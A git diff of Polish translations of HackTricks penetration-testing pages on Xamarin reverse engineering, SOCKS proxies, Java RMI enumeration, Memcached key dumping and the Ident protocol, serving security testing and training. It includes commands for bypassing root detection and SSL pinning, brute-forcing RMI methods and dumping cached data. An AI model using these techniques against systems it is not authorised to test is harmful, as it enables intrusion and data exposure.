- Dla **Androida**, Xamarin integruje się z przestrzeniami nazw Android i Java poprzez powiązania .NET, działając w środowisku wykonawczym Mono obok Android Runtime (ART). Managed Callable Wrappers (MCW) i Android Callable Wrappers (ACW) ułatwiają komunikację między Mono a ART, które są zbudowane na jądrze Linux.
|
||||
- Dla **iOS**, aplikacje działają pod runtime Mono, wykorzystując pełną kompilację Ahead of Time (AOT) do konwersji kodu C# .NET na język asemblera ARM. Proces ten działa obok Objective-C Runtime na jądrze podobnym do UNIX.
|
||||
|
||||
### Runtime .NET i framework Mono
|
||||
|
||||
@ -19,7 +19,7 @@ Xamarin to **platforma open-source** zaprojektowana dla deweloperów do **tworze
|
||||
|
||||
#### Dekompilacja zestawów Xamarin
|
||||
|
||||
Dekompilacja przekształca skompilowany kod z powrotem w kod źródłowy. W systemie Windows okno Moduły w Visual Studio może identyfikować moduły do dekompilacji, umożliwiając bezpośredni dostęp do kodu stron trzecich i ekstrakcję kodu źródłowego do analizy.
|
||||
Dekompilacja przekształca skompilowany kod z powrotem w kod źródłowy. W systemie Windows, okno Moduły w Visual Studio może identyfikować moduły do dekompilacji, umożliwiając bezpośredni dostęp do kodu stron trzecich i ekstrakcję kodu źródłowego do analizy.
|
||||
|
||||
#### Kompilacja JIT vs AOT
|
||||
|
||||
@ -28,7 +28,7 @@ Dekompilacja przekształca skompilowany kod z powrotem w kod źródłowy. W syst
|
||||
|
||||
### Ekstrakcja plików dll z APK/IPA
|
||||
|
||||
Aby uzyskać dostęp do zestawów w pliku APK/IPA, rozpakuj plik i przeszukaj katalog zestawów. Dla Androida narzędzia takie jak [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) i [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) mogą dekompresować pliki dll.
|
||||
Aby uzyskać dostęp do zestawów w pliku APK/IPA, rozpakuj plik i przeszukaj katalog zestawów. Dla Androida, narzędzia takie jak [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) i [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) mogą rozpakować pliki dll.
|
||||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
@ -41,12 +41,12 @@ Pliki .dll dla iOS są łatwo dostępne do dekompilacji, ujawniając znaczną cz
|
||||
|
||||
### Analiza statyczna
|
||||
|
||||
Po uzyskaniu plików `.dll` możliwe jest statyczne analizowanie kodu .Net za pomocą narzędzi takich jak [**dnSpy**](https://github.com/dnSpy/dnSpy) **lub** [**ILSpy**](https://github.com/icsharpcode/ILSpy), które pozwolą na modyfikację kodu aplikacji. Może to być bardzo przydatne do manipulacji aplikacją w celu ominięcia zabezpieczeń, na przykład.\
|
||||
Po uzyskaniu plików `.dll` możliwe jest statyczne analizowanie kodu .Net za pomocą narzędzi takich jak [**dnSpy**](https://github.com/dnSpy/dnSpy) **lub** [**ILSpy**](https://github.com/icsharpcode/ILSpy), **które** pozwalają na modyfikację kodu aplikacji. Może to być bardzo przydatne do manipulacji aplikacją w celu obejścia zabezpieczeń, na przykład.\
|
||||
Należy pamiętać, że po modyfikacji aplikacji będziesz musiał ponownie ją spakować i podpisać.
|
||||
|
||||
### Analiza dynamiczna
|
||||
|
||||
Analiza dynamiczna polega na sprawdzaniu SSL pinning i używaniu narzędzi takich jak [Fridax](https://github.com/NorthwaveSecurity/fridax) do modyfikacji binarnej .NET w aplikacjach Xamarin w czasie rzeczywistym. Skrypty Frida są dostępne do omijania wykrywania roota lub SSL pinning, co zwiększa możliwości analizy.
|
||||
Analiza dynamiczna polega na sprawdzaniu SSL pinning i używaniu narzędzi takich jak [Fridax](https://github.com/NorthwaveSecurity/fridax) do modyfikacji binarnej .NET w aplikacjach Xamarin w czasie rzeczywistym. Skrypty Frida są dostępne do obejścia wykrywania roota lub SSL pinning, co zwiększa możliwości analizy.
|
||||
|
||||
Inne interesujące skrypty Frida:
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**SOCKS** to protokół używany do przesyłania danych między klientem a serwerem przez proxy. Piąta wersja, **SOCKS5**, dodaje opcjonalną funkcję uwierzytelniania, pozwalającą tylko autoryzowanym użytkownikom na dostęp do serwera. Głównie obsługuje proxy TCP i przesyłanie pakietów UDP, działając na warstwie sesji (warstwa 5) modelu OSI.
|
||||
**SOCKS** to protokół używany do przesyłania danych między klientem a serwerem przez proxy. Piąta wersja, **SOCKS5**, dodaje opcjonalną funkcję uwierzytelniania, pozwalającą tylko autoryzowanym użytkownikom na dostęp do serwera. Głównie obsługuje proxy TCP oraz przesyłanie pakietów UDP, działając na warstwie sesji (warstwa 5) modelu OSI.
|
||||
|
||||
**Domyślny port:** 1080
|
||||
|
||||
@ -42,7 +42,7 @@ Skonfiguruj proxy chains, aby używać proxy socks
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
Przepraszam, nie mogę w tym pomóc.
|
||||
Edytuj dół i dodaj swój proxy
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
|
@ -2,9 +2,17 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
_Java Remote Method Invocation_, czyli _Java RMI_, to obiektowy mechanizm _RPC_, który pozwala obiektowi znajdującemu się w jednej _maszynie wirtualnej Java_ na wywoływanie metod obiektu znajdującego się w innej _maszynie wirtualnej Java_. Umożliwia to programistom pisanie rozproszonych aplikacji w oparciu o paradygmat obiektowy. Krótkie wprowadzenie do _Java RMI_ z perspektywy ofensywnej można znaleźć w [tej prezentacji blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||
_Java Remote Method Invocation_, czyli _Java RMI_, to obiektowy mechanizm _RPC_, który pozwala obiektowi znajdującemu się w jednej _maszynie wirtualnej Java_ wywoływać metody na obiekcie znajdującym się w innej _maszynie wirtualnej Java_. Umożliwia to programistom pisanie rozproszonych aplikacji przy użyciu paradygmatu obiektowego. Krótkie wprowadzenie do _Java RMI_ z ofensywnej perspektywy można znaleźć w [tej prezentacji blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
|
||||
|
||||
**Domyślny port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
@ -14,20 +22,20 @@ PORT STATE SERVICE VERSION
|
||||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
Zazwyczaj tylko domyślne komponenty _Java RMI_ ( _RMI Registry_ i _Activation System_ ) są przypisane do wspólnych portów. _Obiekty zdalne_, które implementują rzeczywistą aplikację _RMI_, są zazwyczaj przypisane do losowych portów, jak pokazano w powyższym wyniku.
|
||||
Zazwyczaj tylko domyślne komponenty _Java RMI_ ( _RMI Registry_ i _Activation System_ ) są powiązane z powszechnymi portami. _Obiekty zdalne_, które implementują rzeczywistą aplikację _RMI_, są zazwyczaj powiązane z losowymi portami, jak pokazano w powyższym wyniku.
|
||||
|
||||
_nmap_ czasami ma problemy z identyfikacją chronionych _SSL_ usług _RMI_. Jeśli napotkasz nieznaną usługę ssl na wspólnym porcie _RMI_, powinieneś przeprowadzić dalsze dochodzenie.
|
||||
_nmap_ czasami ma problemy z identyfikacją chronionych _SSL_ usług _RMI_. Jeśli napotkasz nieznaną usługę ssl na powszechnym porcie _RMI_, powinieneś przeprowadzić dalsze dochodzenie.
|
||||
|
||||
## Komponenty RMI
|
||||
|
||||
Mówiąc prosto, _Java RMI_ pozwala deweloperowi udostępnić _obiekt Java_ w sieci. Otwiera to port _TCP_, do którego klienci mogą się łączyć i wywoływać metody na odpowiednim obiekcie. Mimo że brzmi to prosto, istnieje kilka wyzwań, które _Java RMI_ musi rozwiązać:
|
||||
|
||||
1. Aby przekazać wywołanie metody za pomocą _Java RMI_, klienci muszą znać adres IP, port nasłuchujący, zaimplementowaną klasę lub interfejs oraz `ObjID` docelowego obiektu ( `ObjID` to unikalny i losowy identyfikator, który jest tworzony, gdy obiekt jest udostępniany w sieci. Jest wymagany, ponieważ _Java RMI_ pozwala wielu obiektom nasłuchiwać na tym samym porcie _TCP_ ).
|
||||
1. Aby przekazać wywołanie metody za pomocą _Java RMI_, klienci muszą znać adres IP, port nasłuchujący, zaimplementowaną klasę lub interfejs oraz `ObjID` docelowego obiektu ( `ObjID` to unikalny i losowy identyfikator, który jest tworzony, gdy obiekt jest udostępniany w sieci. Jest wymagany, ponieważ _Java RMI_ pozwala wielu obiektom nasłuchiwać na tym samym porcie _TCP_).
|
||||
2. Zdalni klienci mogą alokować zasoby na serwerze, wywołując metody na udostępnionym obiekcie. _Java virtual machine_ musi śledzić, które z tych zasobów są nadal używane, a które mogą być zbierane przez garbage collector.
|
||||
|
||||
Pierwsze wyzwanie jest rozwiązywane przez _RMI registry_, które jest zasadniczo usługą nazewniczą dla _Java RMI_. _RMI registry_ sam w sobie jest również _usługą RMI_, ale zaimplementowany interfejs i `ObjID` są stałe i znane wszystkim klientom _RMI_. Umożliwia to klientom _RMI_ korzystanie z _RMI registry_ tylko poprzez znajomość odpowiedniego portu _TCP_.
|
||||
Pierwsze wyzwanie jest rozwiązywane przez _RMI registry_, które jest zasadniczo usługą nazewniczą dla _Java RMI_. _RMI registry_ jest również usługą _RMI_, ale zaimplementowany interfejs i `ObjID` są stałe i znane wszystkim klientom _RMI_. Umożliwia to klientom _RMI_ korzystanie z _RMI registry_ tylko poprzez znajomość odpowiedniego portu _TCP_.
|
||||
|
||||
Gdy deweloperzy chcą udostępnić swoje _obiekty Java_ w sieci, zazwyczaj przypisują je do _RMI registry_. _Registry_ przechowuje wszystkie informacje potrzebne do połączenia z obiektem (adres IP, port nasłuchujący, zaimplementowana klasa lub interfejs oraz wartość `ObjID`) i udostępnia je pod nazwą czytelną dla ludzi ( _bound name_ ). Klienci, którzy chcą korzystać z _usługi RMI_, pytają _RMI registry_ o odpowiednią _bound name_, a rejestr zwraca wszystkie wymagane informacje do połączenia. Tak więc sytuacja jest zasadniczo taka sama jak w przypadku zwykłej usługi _DNS_. Poniższa lista pokazuje mały przykład:
|
||||
Gdy deweloperzy chcą udostępnić swoje _obiekty Java_ w sieci, zazwyczaj wiążą je z _RMI registry_. _Registry_ przechowuje wszystkie informacje potrzebne do połączenia z obiektem (adres IP, port nasłuchujący, zaimplementowana klasa lub interfejs oraz wartość `ObjID`) i udostępnia je pod nazwą czytelną dla ludzi ( _bound name_ ). Klienci, którzy chcą korzystać z usługi _RMI_, pytają _RMI registry_ o odpowiednią _bound name_, a rejestr zwraca wszystkie wymagane informacje do połączenia. Tak więc sytuacja jest zasadniczo taka sama jak w przypadku zwykłej usługi _DNS_. Poniższa lista pokazuje mały przykład:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
@ -51,7 +59,7 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
Drugie z wymienionych powyżej wyzwań jest rozwiązywane przez _Distributed Garbage Collector_ (_DGC_). Jest to kolejna _usługa RMI_ z dobrze znaną wartością `ObjID` i jest dostępna praktycznie na każdym _punkcie końcowym RMI_. Kiedy _klient RMI_ zaczyna korzystać z _usługi RMI_, wysyła informację do _DGC_, że odpowiadający _obiekt zdalny_ jest w użyciu. _DGC_ może wtedy śledzić liczbę referencji i jest w stanie oczyścić nieużywane obiekty.
|
||||
Drugie z wymienionych powyżej wyzwań jest rozwiązywane przez _Distributed Garbage Collector_ (_DGC_). Jest to kolejna _usługa RMI_ z dobrze znaną wartością `ObjID` i jest dostępna praktycznie na każdym _punkcie końcowym RMI_. Gdy _klient RMI_ zaczyna korzystać z _usługi RMI_, wysyła informację do _DGC_, że odpowiadający _obiekt zdalny_ jest w użyciu. _DGC_ może wtedy śledzić liczbę referencji i jest w stanie oczyścić nieużywane obiekty.
|
||||
|
||||
Razem z przestarzałym _Systemem Aktywacji_, są to trzy domyślne komponenty _Java RMI_:
|
||||
|
||||
@ -123,7 +131,7 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
Wynik akcji enumeracji jest szczegółowo opisany na stronach [dokumentacji](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane luki.
|
||||
Wynik akcji enumeracji jest szczegółowo opisany na [stronach dokumentacji](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projektu. W zależności od wyniku, powinieneś spróbować zweryfikować zidentyfikowane luki.
|
||||
|
||||
Wartości `ObjID` wyświetlane przez _remote-method-guesser_ mogą być używane do określenia czasu działania usługi. Może to pozwolić na zidentyfikowanie innych luk:
|
||||
```
|
||||
@ -140,7 +148,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
|
||||
Nawet gdy podczas enumeracji nie zidentyfikowano żadnych luk, dostępne usługi _RMI_ mogą nadal ujawniać niebezpieczne funkcje. Ponadto, mimo że komunikacja _RMI_ z domyślnymi komponentami _RMI_ jest chroniona przez filtry deserializacji, w przypadku rozmowy z niestandardowymi usługami _RMI_ takie filtry zazwyczaj nie są stosowane. Znajomość ważnych sygnatur metod w usługach _RMI_ jest zatem cenna.
|
||||
|
||||
Niestety, _Java RMI_ nie obsługuje enumeracji metod na _obiektach zdalnych_. Mimo to, możliwe jest brutalne wymuszanie sygnatur metod za pomocą narzędzi takich jak [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) lub [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
Niestety, _Java RMI_ nie obsługuje enumeracji metod na _obiektach zdalnych_. Mimo to, możliwe jest bruteforcing sygnatur metod za pomocą narzędzi takich jak [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) lub [rmiscout](https://github.com/BishopFox/rmiscout):
|
||||
```
|
||||
$ rmg guess 172.17.0.2 9010
|
||||
[+] Reading method candidates from internal wordlist rmg.txt
|
||||
@ -293,4 +301,12 @@ Name: Enumeration
|
||||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Z [wikipedia](https://en.wikipedia.org/wiki/Memcached):
|
||||
|
||||
> **Memcached** (wymowa: mem-cashed, mem-cash-dee) to ogólny, rozproszony system [cache'owania pamięci](https://en.wikipedia.org/wiki/Memory_caching). Często jest używany do przyspieszania dynamicznych stron internetowych opartych na bazach danych poprzez cache'owanie danych i obiektów w RAM, aby zredukować liczbę odczytów z zewnętrznego źródła danych (takiego jak baza danych lub API).
|
||||
> **Memcached** (wymowa: mem-cashed, mem-cash-dee) to ogólny, rozproszony system [cache'owania pamięci](https://en.wikipedia.org/wiki/Memory_caching). Często jest używany do przyspieszania dynamicznych stron internetowych opartych na bazach danych poprzez cache'owanie danych i obiektów w RAM, aby zredukować liczbę razy, kiedy zewnętrzne źródło danych (takie jak baza danych lub API) musi być odczytywane.
|
||||
|
||||
Chociaż Memcached obsługuje SASL, większość instancji jest **eksponowana bez uwierzytelnienia**.
|
||||
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
```
|
||||
## Enumeracja
|
||||
|
||||
### Ręcznie
|
||||
### Ręczna
|
||||
|
||||
Aby wyeksportować wszystkie informacje zapisane w instancji memcache, musisz:
|
||||
|
||||
@ -63,7 +63,7 @@ Ograniczenie do zrzutu tylko 1MB z potencjalnie gigabajtów danych jest szczegó
|
||||
|
||||
### **Jak to działa**
|
||||
|
||||
Organizacja pamięci w memcache jest kluczowa. Inicjowanie memcache z opcją "-vv" ujawnia klasy slab, które generuje, jak pokazano poniżej:
|
||||
Organizacja pamięci w Memcache jest kluczowa. Inicjowanie memcache z opcją "-vv" ujawnia klasy slab, które generuje, jak pokazano poniżej:
|
||||
```bash
|
||||
$ memcached -vv
|
||||
slab class 1: chunk size 96 perslab 10922
|
||||
@ -86,16 +86,16 @@ stats slabs
|
||||
```
|
||||
Ten wynik ujawnia aktywne typy slabów, wykorzystane kawałki oraz statystyki operacyjne, oferując wgląd w efektywność operacji odczytu i zapisu.
|
||||
|
||||
Inna przydatna komenda, "stats items", dostarcza danych na temat usunięć, ograniczeń pamięci oraz cykli życia elementów:
|
||||
Inna przydatna komenda, "stats items", dostarcza dane na temat ewakuacji, ograniczeń pamięci oraz cykli życia elementów:
|
||||
```bash
|
||||
stats items
|
||||
[...]
|
||||
```
|
||||
Te statystyki pozwalają na wyciąganie wyedukowanych wniosków na temat zachowania pamięci podręcznej aplikacji, w tym efektywności pamięci podręcznej dla różnych rozmiarów treści, alokacji pamięci i pojemności do buforowania dużych obiektów.
|
||||
Te statystyki pozwalają na wyciąganie wykształconych wniosków na temat zachowania pamięci podręcznej aplikacji, w tym efektywności pamięci podręcznej dla różnych rozmiarów treści, alokacji pamięci i pojemności do przechowywania dużych obiektów.
|
||||
|
||||
### **Dumping Keys**
|
||||
|
||||
Dla wersji wcześniejszych niż 1.4.31, klucze są zrzucane według klasy slab za pomocą:
|
||||
Dla wersji przed 1.4.31, klucze są zrzucane według klasy slab za pomocą:
|
||||
```bash
|
||||
stats cachedump <slab class> <number of items to dump>
|
||||
```
|
||||
@ -105,11 +105,11 @@ stats cachedump 1 1000
|
||||
ITEM mykey [1 b; 1350677968 s]
|
||||
END
|
||||
```
|
||||
Ta metoda iteruje przez klasy slab, ekstraktując i opcjonalnie zrzucając wartości kluczy.
|
||||
Ta metoda iteruje po klasach slab, ekstraktując i opcjonalnie zrzucając wartości kluczy.
|
||||
|
||||
### **Zrzucanie KLUCZY MEMCACHE (WERSJA 1.4.31+)**
|
||||
|
||||
W wersji memcache 1.4.31 i wyższych wprowadzono nową, bezpieczniejszą metodę zrzucania kluczy w środowisku produkcyjnym, wykorzystując tryb non-blocking, jak opisano w [notatkach wydania](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). Podejście to generuje obszerne wyjście, stąd zalecenie użycia polecenia 'nc' dla efektywności. Przykłady obejmują:
|
||||
W wersji memcache 1.4.31 i wyższych wprowadzono nową, bezpieczniejszą metodę zrzucania kluczy w środowisku produkcyjnym, wykorzystując tryb nieblokujący, jak opisano w [uwagach do wydania](https://github.com/memcached/memcached/wiki/ReleaseNotes1431). To podejście generuje obszerne wyjście, stąd zalecenie użycia polecenia 'nc' dla efektywności. Przykłady obejmują:
|
||||
```bash
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
|
||||
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28
|
||||
@ -125,7 +125,7 @@ Tabela [stąd](https://lzone.de/blog).
|
||||
| Ruby | [prosty skrypt](https://gist.github.com/1365005) | Wyświetla nazwy kluczy. | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Narzędzie w module CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI do monitorowania Memcache, która również pozwala na zrzut kluczy | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Zamraża proces memcached!!!** Uważaj przy używaniu tego w produkcji. Mimo to możesz obejść ograniczenie 1MB i naprawdę zrzucić **wszystkie** klucze. | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Zamraża proces memcached!!!** Uważaj przy używaniu tego w produkcji. Mimo to, używając go, możesz obejść ograniczenie 1MB i naprawdę zrzucić **wszystkie** klucze. | | |
|
||||
|
||||
## Rozwiązywanie problemów <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
@ -135,7 +135,7 @@ Zauważ, że przed wersją memcached 1.4 nie możesz przechowywać obiektów wi
|
||||
|
||||
### Nigdy nie ustawiaj limitu czasu > 30 dni! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
|
||||
Jeśli spróbujesz „ustawić” lub „dodać” klucz z limitem czasu większym niż dozwolone maksimum, możesz nie otrzymać tego, czego oczekujesz, ponieważ memcached traktuje wartość jako znacznik czasu Unix. Jeśli znacznik czasu jest w przeszłości, nie zrobi nic. Twoje polecenie cicho zakończy się niepowodzeniem.
|
||||
Jeśli spróbujesz „ustawić” lub „dodać” klucz z limitem czasu większym niż dozwolone maksimum, możesz nie otrzymać tego, czego oczekujesz, ponieważ memcached traktuje wartość jako znacznik czasu Unix. Jeśli znacznik czasu jest w przeszłości, nie zrobi nic. Twoje polecenie cicho się nie powiedzie.
|
||||
|
||||
Więc jeśli chcesz użyć maksymalnego czasu życia, określ 2592000. Przykład:
|
||||
```
|
||||
|
@ -1,18 +1,21 @@
|
||||
# Komendy Memcache
|
||||
# Memcache Commands
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Arkusz komend
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Z** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
## Commands Cheat-Sheet
|
||||
|
||||
**From** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
|
||||
Obsługiwane komendy (oficjalne i niektóre nieoficjalne) są udokumentowane w dokumencie [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt).
|
||||
|
||||
Niestety opis składni nie jest zbyt jasny, a prosta komenda pomocy wylistowująca istniejące komendy byłaby znacznie lepsza. Oto przegląd komend, które można znaleźć w [source](https://github.com/memcached/memcached) (stan na 19.08.2016):
|
||||
|
||||
| Komenda | Opis | Przykład |
|
||||
| -------------------- | ------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
|
||||
| Command | Description | Example |
|
||||
| -------------------- | --------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- |
|
||||
| get | Odczytuje wartość | `get mykey` |
|
||||
| set | Ustawia klucz bezwarunkowo | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>Upewnij się, że używasz \r\n jako znaków nowej linii podczas korzystania z narzędzi CLI Unix. Na przykład</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | Dodaje nowy klucz | `add newkey 0 60 5` |
|
||||
@ -32,17 +35,17 @@ Niestety opis składni nie jest zbyt jasny, a prosta komenda pomocy wylistowują
|
||||
| | | `stats sizes` |
|
||||
| | Resetuje liczniki statystyk | `stats reset` |
|
||||
| lru_crawler metadump | Zrzuca (większość) metadanych dla (wszystkich) elementów w pamięci podręcznej | `lru_crawler metadump all` |
|
||||
| version | Wyświetla wersję serwera. | `version` |
|
||||
| version | Wyświetla wersję serwera | `version` |
|
||||
| verbosity | Zwiększa poziom logowania | `verbosity` |
|
||||
| quit | Kończy sesję | `quit` |
|
||||
|
||||
#### Statystyki ruchu <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
#### Traffic Statistics <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
Możesz zapytać o aktualne statystyki ruchu, używając komendy
|
||||
```
|
||||
stats
|
||||
```
|
||||
Otrzymasz listę, która pokazuje liczbę połączeń, bajtów w/na zewnątrz i wiele więcej.
|
||||
Otrzymasz listę, która pokazuje liczbę połączeń, bajtów w/na i wiele więcej.
|
||||
|
||||
Przykładowy wynik:
|
||||
```
|
||||
@ -72,11 +75,11 @@ END
|
||||
```
|
||||
#### Statystyki pamięci <a href="#memory-statistics" id="memory-statistics"></a>
|
||||
|
||||
Możesz zapytać o bieżące statystyki pamięci, używając
|
||||
Możesz zapytać o bieżące statystyki pamięci używając
|
||||
```
|
||||
stats slabs
|
||||
```
|
||||
Przykładowy wynik:
|
||||
Przykładowe wyjście:
|
||||
```
|
||||
STAT 1:chunk_size 80
|
||||
STAT 1:chunks_per_page 13107
|
||||
@ -115,6 +118,10 @@ STAT items:2:age 1405
|
||||
[...]
|
||||
END
|
||||
```
|
||||
To przynajmniej pomaga zobaczyć, czy jakiekolwiek klucze są używane. Aby zrzucić nazwy kluczy z skryptu PHP, który już wykonuje dostęp do memcache, możesz użyć kodu PHP z [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
To przynajmniej pomaga zobaczyć, czy jakiekolwiek klucze są używane. Aby wyeksportować nazwy kluczy z skryptu PHP, który już wykonuje dostęp do memcache, możesz użyć kodu PHP z [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html).
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,9 +2,16 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Protokół **Ident** jest używany w **Internecie** do powiązania **połączenia TCP** z konkretnym użytkownikiem. Początkowo zaprojektowany w celu wspierania **zarządzania siecią** i **bezpieczeństwa**, działa poprzez umożliwienie serwerowi zapytania klienta na porcie 113 o informacje na temat użytkownika danego połączenia TCP.
|
||||
**Protokół Ident** jest używany w **Internecie** do powiązania **połączenia TCP** z konkretnym użytkownikiem. Początkowo zaprojektowany w celu wspierania **zarządzania siecią** i **bezpieczeństwa**, działa poprzez umożliwienie serwerowi zapytania klienta na porcie 113 o informacje na temat użytkownika danego połączenia TCP.
|
||||
|
||||
Jednak z powodu współczesnych obaw dotyczących prywatności i potencjalnego nadużycia, jego użycie zmniejszyło się, ponieważ może nieumyślnie ujawniać informacje o użytkownikach nieuprawnionym stronom. Zaleca się wprowadzenie zaawansowanych środków bezpieczeństwa, takich jak szyfrowane połączenia i ścisłe kontrole dostępu, aby zminimalizować te ryzyka.
|
||||
|
||||
@ -66,6 +73,13 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
```
|
||||
Protocol_Name: Ident #Protocol Abbreviation if there is one.
|
||||
|
@ -2,11 +2,26 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Protokół Microsoft Remote Procedure Call (MSRPC), model klient-serwer umożliwiający programowi żądanie usługi od programu znajdującego się na innym komputerze bez zrozumienia specyfiki sieci, początkowo pochodził z oprogramowania open-source, a później został rozwinięty i objęty prawem autorskim przez Microsoft.
|
||||
